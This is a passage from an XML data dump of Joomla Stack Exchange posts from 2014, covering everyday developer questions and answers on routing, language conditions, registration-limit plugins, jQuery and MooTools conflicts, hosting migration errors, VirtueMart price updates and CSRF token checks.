  <row Id="2441" PostTypeId="1" AcceptedAnswerId="3643" CreationDate="2014-06-29T11:54:54.790" Score="1" ViewCount="395" Body="&lt;p&gt;I am struggling with the tag component. &#xA;1) When I click on the title of an article from the &lt;code&gt;component/tags/tag/MyTag&lt;/code&gt; page, then I am redirected to a page with the home itemid. This is a big issues because there is many modules displaying that I don't want on a article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to either keep the same itemid as the &lt;code&gt;component/tags/tag/&lt;/code&gt; page for this new page or to have a static itemid (Article link navigation overwrite) for example the &lt;code&gt;itemid=200&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found in &lt;code&gt;com_tags\tag\default_items.php&lt;/code&gt; the line that give this redirection but couldn't manage to find the solution. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, $item-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;core_title); ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean &lt;a href=&quot;http://www.rscmovement.org/index.php?option=com_tags&amp;amp;view=tag&amp;amp;id=2-science-fr&amp;amp;lang=fr&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The title of my article aren't displayed at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I add &lt;code&gt;&amp;amp;Itemid=200&lt;/code&gt; at the end it working if I am not in SEF url even if there is 2 itemid in the URL. But in SEF url, it'snt working.&lt;/li&gt;&#xA;&lt;li&gt;If I assign the article to language ALL then it's also working: the itemid is preserved and the title is displayed: but this is not a long-term solution&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-06-29T16:21:35.763" LastActivityDate="2014-07-17T14:40:48.760" Title="Attributing Itemid to article when opened from a &quot;Tagged Items&quot; pages" Tags="|php|menu-item|jroute|navigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2442" PostTypeId="2" ParentId="2439" CreationDate="2014-06-29T12:21:14.433" Score="4" Body="&lt;p&gt;The best place would be &lt;code&gt;/layouts/joomla/content/tags.php&lt;/code&gt;. But first you need to override this layout by putting it to &lt;code&gt;/templates/your_template/html/layouts/joomla/content/tags.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-06-29T12:21:14.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2443" PostTypeId="1" AcceptedAnswerId="2444" CreationDate="2014-06-29T14:57:48.910" Score="2" ViewCount="3779" Body="&lt;p&gt;I would like to modify a core component of Joomla by setting up a condition based on the language the website is displaying. My code changes don't seem to work and I'm not sure what I'm doing wrong.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_BASE') or die;&#xA;$lang = JFactory::getLanguage();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;Home&amp;quot;&amp;gt; &#xA;&amp;lt;?php if ($lang-&amp;gt;language == 'en-US') : ?&amp;gt;Home:&#xA;&amp;lt;?php elseif ($lang-&amp;gt;language = 'fr-fr') : ?&amp;gt;Accueil :&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="168" LastEditDate="2023-11-01T07:51:31.907" LastActivityDate="2023-11-01T07:51:31.907" Title="Language condition with Php if... elseif" Tags="|joomla-3.x|php|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2444" PostTypeId="2" ParentId="2443" CreationDate="2014-06-29T15:07:40.603" Score="4" Body="&lt;p&gt;You should try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;Home&quot;&amp;gt; &#xA;&amp;lt;?php&#xA;  $lang = JFactory::getLanguage();&#xA;  $result = $lang-&amp;gt;getTag();&#xA;  if ($result==&quot;fr-FR&quot;) { &#xA;      echo 'Accueil: ';&#xA;  } &#xA;  else { &#xA;      echo 'Home: ';&#xA;  }&#xA;?&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="168" LastEditDate="2014-06-29T15:32:33.423" LastActivityDate="2014-06-29T15:32:33.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2445" PostTypeId="1" CreationDate="2014-06-29T15:26:37.407" Score="3" ViewCount="239" Body="&lt;p&gt;I am wondering if someone can help me. I have developed a plugin that allows me to restrict the number of users registering on the site, but I would like to develop this further by restricting it to a particular user group, would anyone have any idea how i achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;class plguserlimit extends JPlugin {&#xA;&#xA;function __construct(&amp;amp;$subject, $config = array()) {&#xA;    parent::__construct($subject, $config);&#xA;}&#xA;&#xA;public function onUserBeforeSave($user, $isnew, $new) {&#xA;    if ($isnew) {&#xA;        $limit   = $this-&amp;gt;params-&amp;gt;get('limit-text');&#xA;        $db    = JFactory::getDbo();&#xA;        $query = &quot;select id from #__users&quot;;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;query();&#xA;        $num_rows = $db-&amp;gt;getNumRows();&#xA;        if ($limit &amp;gt; $num_rows) {&#xA;            echo $erMsg = &quot;Sorry but you have exceeded your allocated number of licenses.&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;Please press the back button on your browser to go back to the previous page.&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt; If you wish to purchase more licences please contact customer support team &quot;;&#xA;            die;&#xA;            JFactory::getApplication()-&amp;gt;redirect(JURI::base(), $erMsg, 'error');&#xA;        }&#xA;    }&#xA;}&#xA;}&#xA;&#xA;&#xA;&amp;lt;extension type=&quot;plugin&quot; version=&quot;3.0&quot; group=&quot;user&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;plg_user_register_limit&amp;lt;/name&amp;gt; &#xA;&amp;lt;creationDate&amp;gt;June 2014&amp;lt;/creationDate&amp;gt; &#xA;&amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt; &#xA;&amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt; &#xA;&amp;lt;description&amp;gt;&#xA;    &amp;lt;![CDATA[ &#xA;        this plugin is used for limiting user registering&#xA;    ]]&amp;gt; &#xA;    &amp;lt;/description&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;registerlimit&quot;&amp;gt;registerlimit.php&amp;lt;/filename&amp;gt; &#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt; &#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_user_regitesrlimit.ini&amp;lt;/language&amp;gt; &#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_user_regitesrlimit.sys.ini&amp;lt;/language&amp;gt; &#xA;        &amp;lt;/languages&amp;gt;&#xA;        &amp;lt;config&amp;gt;&#xA;            &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;                    &amp;lt;field name=&quot;limit-text&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Enter user Limit&quot; description=&quot;Set limit&quot; /&amp;gt; &#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="159" LastEditDate="2014-06-29T19:32:19.037" LastActivityDate="2014-06-30T05:42:09.067" Title="How to restrict user registration based on user group" Tags="|plugin|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2447" PostTypeId="2" ParentId="2250" CreationDate="2014-06-29T18:37:58.793" Score="1" Body="&lt;p&gt;I had the same issue. I tried various settings (mentioned below) but ended up using Sourcerer &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can quickly configure Joomla from stripping away your HTML tags by configuring your user groups ‘Filter Type’ to: ‘No Filtering’ or to your own preference for the respective Filter Groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default JCK will strip a lot of CSS and it my case it was Glyphicons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set Global Config - Editor to 'none' which should allow you to type in pure code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I use JCE Editor which I find to be more capable.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-07-29T19:43:26.457" LastActivityDate="2014-07-29T19:43:26.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2448" PostTypeId="1" AcceptedAnswerId="2450" CreationDate="2014-06-29T21:07:18.243" Score="1" ViewCount="421" Body="&lt;p&gt;How can i create a simple page to show every user a specific secret content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know we can show an article to a 'group' of users, but i want a simple way to show a content to single 'user' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example every user has a special credit card and i want to show them their related credit card number and a secret password.&#xA;Is it possible with a module/plugin/...?&lt;/p&gt;&#xA;" OwnerUserId="1585" LastEditorUserId="38" LastEditDate="2014-06-30T08:43:08.433" LastActivityDate="2014-06-30T14:39:51.100" Title="Showing every user its simple specific content. e.g. a secret username and password" Tags="|security|profile|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2449" PostTypeId="2" ParentId="2445" CreationDate="2014-06-30T05:42:09.067" Score="3" Body="&lt;p&gt;For restricting registration as per user-group you need to use #_user_usergroup_map table for checking number of users in a particular group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT *&#xA;FROM &lt;code&gt;#_user_usergroup_map&lt;/code&gt;&#xA;WHERE &lt;code&gt;group_id&lt;/code&gt; = 'GROUP_ID';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here replace your specific group_id value.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-06-30T05:42:09.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2450" PostTypeId="2" ParentId="2448" CreationDate="2014-06-30T05:49:04.490" Score="5" Body="&lt;p&gt;This can be possible with some custom code which can be added in the article itself.&lt;/p&gt;&#xA;&lt;p&gt;Since creating different articles for different user is not a feasible solution.&lt;/p&gt;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content/5051&quot; rel=&quot;noreferrer&quot;&gt;plugin&lt;/a&gt; which allows you to add custom code anywhere you want.&lt;/p&gt;&#xA;&lt;p&gt;Using this plugin you can add code in article which fetches the user specific details and display them.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-06-30T05:49:04.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2451" PostTypeId="1" AcceptedAnswerId="2452" CreationDate="2014-06-30T10:24:34.757" Score="3" ViewCount="2323" Body="&lt;p&gt;I was migrating a component from Bootstrap 2 to Bootstrap 3. I noticed a weird effect after opening and closing a button dropdown =&gt; the button disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/noLwi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon investigating, it looks like jQuery is conflicting (similar to &lt;a href=&quot;https://github.com/twbs/bootstrap/issues/3436&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/twbs/bootstrap/issues/3436&lt;/a&gt;) with Mootools. This is not a conflict in the general sense (it's not causing JavaScript errors in the logs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery is triggering a 'hide' event and MooTools is catching it first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uJ1yB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2017-05-12T00:08:18.077" Title="Mootools-more.js conflicting with Bootstrap Button dropdowns" Tags="|joomla-2.5|jquery|mootools|bootstrap|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2452" PostTypeId="2" ParentId="2451" CreationDate="2014-06-30T10:25:52.090" Score="5" Body="&lt;p&gt;This is the only workaround I've found so far (opened for review):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// MooTools&#xA;window.addEvent('domready',function() {&#xA;&#xA;    Element.prototype.hide = function() {&#xA;        alert('Intercepted');&#xA;        // Do nothing&#xA;    };&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-06-30T10:49:17.983" LastActivityDate="2014-06-30T10:49:17.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2454" PostTypeId="2" ParentId="2448" CreationDate="2014-06-30T13:39:26.770" Score="4" Body="&lt;p&gt;If you've got documents you want to show to each user, you can use RS Files, which lets you set up a briefcase to each user. But as far as showing them data, you might want to use community builder. I believe you can make custom fields that do NOT show to other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try &lt;a href=&quot;http://www.function90.com/products/joom-profile.html&quot; rel=&quot;nofollow&quot;&gt;JoomProfile&lt;/a&gt;. I suspect you could pay the dev to create a module that would then pull from the special fields. That way you'd literally only have to publish ONE module and won't have to put extra code on the articles (or put the actual user data in the article). You'd just publish the module and THAT users info would appear in the module. It's really a better way to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-30T13:39:26.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2455" PostTypeId="1" AcceptedAnswerId="2457" CreationDate="2014-06-30T14:39:12.170" Score="0" ViewCount="6090" Body="&lt;p&gt;I have been creating a Joomla 3.3.0 site on my local pc using XAMPP / PHP Version 5.4.7 and I have had no issues whatsoever. However today I tried to move my site to a live shared hosting environment and encountered some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The migration itself was fine, using Akeeba Kickstart I was able to transfer my files and database, and the website does infact appear to be working fron the front-end. However when logged into the /administrator area of my site there is an error displayed at the top of my Joomla interface &lt;em&gt;&quot;Your host needs to disable magic_quotes_gpc to run&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My host is running php 5.4.x (BT web hosting)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice that some of the admin functionality is missing, eg - I cannot set my website to be offline, another error message appears about tables not being writeable (I don't remember the exact message). I have since set my site to be offline by editing the configuration.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ready that adding &lt;em&gt;magic_quotes_gpc = Off&lt;/em&gt; to my php.ini file but there is no change. I have yet to follow this guide &lt;a href=&quot;http://docs.joomla.org/How_to_turn_off_magic_quotes_gpc_for_Joomla_3&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_turn_off_magic_quotes_gpc_for_Joomla_3&lt;/a&gt; However this is my next step - I will post an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this error appear, and what does it mean exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleted everything and started again, I can now see this error message in Akeeba while trying to restore. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IMPORTANT! You are restoring on a server with a different PHP version&#xA;  than the one you used to back up your site.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Your original site server's PHP version was 5.4.7 and your current PHP&#xA;  version is 5.3.28. Please note that different PHP versions may have&#xA;  differences which can cause your extensions (components, modules,&#xA;  plugins, libraries and templates) to not work properly. In these cases&#xA;  the restoration will complete without an error but your site may not&#xA;  display correctly or not load at all. Unfortunately, we cannot provide&#xA;  support for these issues. You will have to check that all of your&#xA;  extensions support PHP 5.3.28 before attempting to restore your site&#xA;  on this server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now resolved the &quot;Your host needs to disable magic_quotes_gpc to run&quot; error by adding the lines below to my .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_suphp.c&amp;gt;&#xA;  suPHP_ConfigPath /home/myusername/public_html/yourJ3folder&#xA;  &amp;lt;Files php.ini&amp;gt;&#xA;    order allow,deny&#xA;    deny from all&#xA;  &amp;lt;/Files&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also had to create a php.ini file and add it to my root folder and add the following lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magic_quotes_gpc = Off&#xA;magic_quotes_runtime = Off&#xA;magic_quotes_sybase = Off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However now I don't seem to have write access to make any changes in the admin area - could this be related. The error I get is as follows (when tyring to set the site to be offline)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1044 Access denied for user 'MyUser'@'%' to database 'MyDb' SQL=LOCK&#xA;  TABLES &lt;code&gt;ix5ta_assets&lt;/code&gt; WRITE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-06-30T15:54:45.677" LastActivityDate="2014-06-30T15:54:45.677" Title="Your host needs to disable magic_quotes_gpc to run &amp; No Write Access" Tags="|migration|localhost|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2456" PostTypeId="2" ParentId="2448" CreationDate="2014-06-30T14:39:51.100" Score="3" Body="&lt;p&gt;If you have the PHP proficiency to write a simple plugin, there is a tutorial about &lt;a href=&quot;http://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;Creating a profile plugin&lt;/a&gt; that would allow that secret data to be stored indirectly with the user profile itself.  From there, it would appear on the Profile page, as well as being available to 3rd party extensions that allow PHP code within an article.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-06-30T14:39:51.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2457" PostTypeId="2" ParentId="2455" CreationDate="2014-06-30T14:42:28.150" Score="0" Body="&lt;p&gt;It's best to contact your host to ask them about this. They may have a different setup and your php.ini file may be getting ignored. You can easily disable magic_quotes for you, or they can adjust the settings so your php.ini is honored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can modify the configuration.php file manually via ftp to take the site offline. Just change public $offline = '0'; so it reads public $offline = '1'; and save the file.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-30T14:42:28.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2458" PostTypeId="1" AcceptedAnswerId="2462" CreationDate="2014-06-30T23:49:37.820" Score="0" ViewCount="439" Body="&lt;p&gt;I want to update VM2 prices based on weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is we have field &lt;code&gt;product_weight&lt;/code&gt;in table &lt;code&gt;#__virtuemart_products&lt;/code&gt; and field &lt;code&gt;product_prices&lt;/code&gt; in table &lt;code&gt;#__virtuemart_product_prices&lt;/code&gt;, and I want to update only the ones who have the &lt;code&gt;'tax_id'=4&lt;/code&gt; in those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got my &lt;code&gt;$priceg&lt;/code&gt; (that is a price / per gram of gold/silver) that I got from pulling prices of precious metals with a parser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the query as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($priceg &amp;gt; 0 )&#xA;{&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('a.product_price', 'a.product_tax_id', 'b.virtuemart_product_id', 'b.product_weight')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_product_prices', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__virtuemart_products', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.virtuemart_product_id') . ' = ' . $db-&amp;gt;quoteName('b.virtuemart_product_id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.product_tax_id') . ' = 4')&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('a.virtuemart_product_id') . ' DESC');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Load the results as a list of objects/array or something(not sure which one fits better).&#xA;$results = $db-&amp;gt;loadResultArray();&#xA;$updquery = $db-&amp;gt;getQuery(true);&#xA;&#xA; foreach($results as $newresults){  //i'm trying to update each price with mine&#xA;    $weight = $results-&amp;gt;product_weight; //here lies my problem, its ok for 1 record, doesnt go thru all&#xA;    $pricenew = &quot;$priceg * $weight&quot;;&#xA;    $nuquery = (&quot;UPDATE `#__virtuemart_product_prices` SET `product_price`=&quot;.$pricenew);&#xA;    $db-&amp;gt;setQuery($nuquery);&#xA;    $updresult = $db-&amp;gt;query();&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help and directions much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;preformatted var_dump($results) gives this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(260) {&#xA;  [0]=&amp;gt;&#xA;  array(4) {&#xA;    [0]=&amp;gt;&#xA;    string(8) &quot;31.16577&quot;&#xA;    [1]=&amp;gt;&#xA;    string(1) &quot;4&quot;&#xA;    [2]=&amp;gt;&#xA;    string(3) &quot;286&quot;&#xA;    [3]=&amp;gt;&#xA;    string(6) &quot;7.3200&quot;&#xA;}&#xA;.&#xA;.   //i have 259 products with ID=4&#xA;.&#xA;  [259]=&amp;gt;&#xA;  array(4) {&#xA;    [0]=&amp;gt;&#xA;    string(8) &quot;31.16577&quot;&#xA;    [1]=&amp;gt;&#xA;    string(1) &quot;4&quot;&#xA;    [2]=&amp;gt;&#xA;    string(2) &quot;17&quot;&#xA;    [3]=&amp;gt;&#xA;    string(8) &quot;100.0000&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for now there are no errors, just doesnt go thru all $results and takes just the last one $newresult. The code being(updated):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($price &amp;gt; 0 )&#xA;{&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('a.product_price', 'a.product_tax_id', 'b.virtuemart_product_id', 'b.product_weight')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_product_prices', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__virtuemart_products', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.virtuemart_product_id') . ' = ' . $db-&amp;gt;quoteName('b.virtuemart_product_id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.product_tax_id') . ' = 4')&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('a.virtuemart_product_id') . ' DESC');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Load the results as a list of objects/array or something(not sure which one fits better).&#xA;$results = $db-&amp;gt;loadRowList();&#xA;$updquery = $db-&amp;gt;getQuery(true);&#xA;&#xA;    foreach($results as $newresults){&#xA;    $weight = $newresults['3'];&#xA;    $pricenew = &quot;$price * $weight&quot;;&#xA;    $nuquery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;update($db-&amp;gt;quoteName('#__virtuemart_product_prices'))&#xA;    -&amp;gt;set($db-&amp;gt;quoteName('product_price') . ' = ' . $db-&amp;gt;quote($pricenew))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('virtuemart_product_id') . ' = ' . $db-&amp;gt;quote('virtuemart_product_id'));&#xA;    $db-&amp;gt;setQuery($nuquery);&#xA;    $updresult = $db-&amp;gt;query();&#xA;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thx again for quick responses!&lt;/p&gt;&#xA;" OwnerUserId="1590" LastEditorUserId="1590" LastEditDate="2014-07-01T11:29:30.603" LastActivityDate="2015-06-06T20:04:57.380" Title="Update virtuemart_product_prices based on weight" Tags="|joomla-2.5|fix-my-code|virtuemart|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2459" PostTypeId="1" AcceptedAnswerId="2470" CreationDate="2014-07-01T00:57:17.150" Score="2" ViewCount="3929" Body="&lt;p&gt;I've built a custom component and have three forms that executes different tasks in the default.php view on subcontrollers within the administrator. Within my tmpl view &lt;code&gt;default.php&lt;/code&gt;, each form has a &lt;code&gt;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&lt;/code&gt; which renders a hidden field with a token as the name with a value of 1. I have a check in my subcontroller, &lt;code&gt;JSession::checkToken() or die&lt;/code&gt; to determine if the token is valid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that when submitting a form via POST, the POST data with the token and the function &lt;code&gt;JSession::checkToken()&lt;/code&gt; that checks the token are not a match thus results in &lt;code&gt;FALSE&lt;/code&gt;. After debugging the JSession class, I found that when it gets a token, it is NOT the same as the token being posted. I've searched Google but could find any solution that worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow&quot;&gt;Joomla's documentation on CSRF&lt;/a&gt;, it's supposed to be as easy as adding &lt;code&gt;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&lt;/code&gt; and adding the check in the controller &lt;code&gt;JSession::checkToken() or die&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the two tokens differ from the form POST and JSession class? Is there something else I maybe missing or have not added that is not in the Joomla doc?&lt;/p&gt;&#xA;" OwnerUserId="1591" LastEditorUserId="12352" LastEditDate="2019-11-16T22:50:19.723" LastActivityDate="2019-11-16T22:50:19.723" Title="Token check not working in custom component admin" Tags="|joomla-3.x|component|administrator|security|security-token|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2461" PostTypeId="1" AcceptedAnswerId="2468" CreationDate="2014-07-01T01:17:34.210" Score="-2" ViewCount="1361" Body="&lt;p&gt;Hi i am having problem to call another file by ajax from module.As i don't want to make a component to call it for ajax from module, so what i am thinking is calling index.php file from ajax passing a task variable and catching that variable in module main php file and returning data back to same module js ajax code. How much fruitful is this way and how do i return json data in best way? And any security risks? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: this way i am calling ajax &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({                    &#xA;        cache:false,                &#xA;        url:&quot;&amp;lt;?php echo JURI::current(); ?&amp;gt;&quot;,&#xA;        type: 'GET',&#xA;        data:&#xA;        {              &#xA;           ajax: &quot;true&quot;,                    &#xA;           sid: (Math.floor(Math.random() * 900000) + 100000)            &#xA;        }, ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in module's main php file - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$task = JRequest::getVar('ajax');&#xA;if($task==&quot;true&quot;)&#xA;{    &#xA;  //for test &#xA;  echo &quot;hurray&quot;; exit; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there are best error free ways then let me know.&lt;/p&gt;&#xA;" OwnerUserId="99" 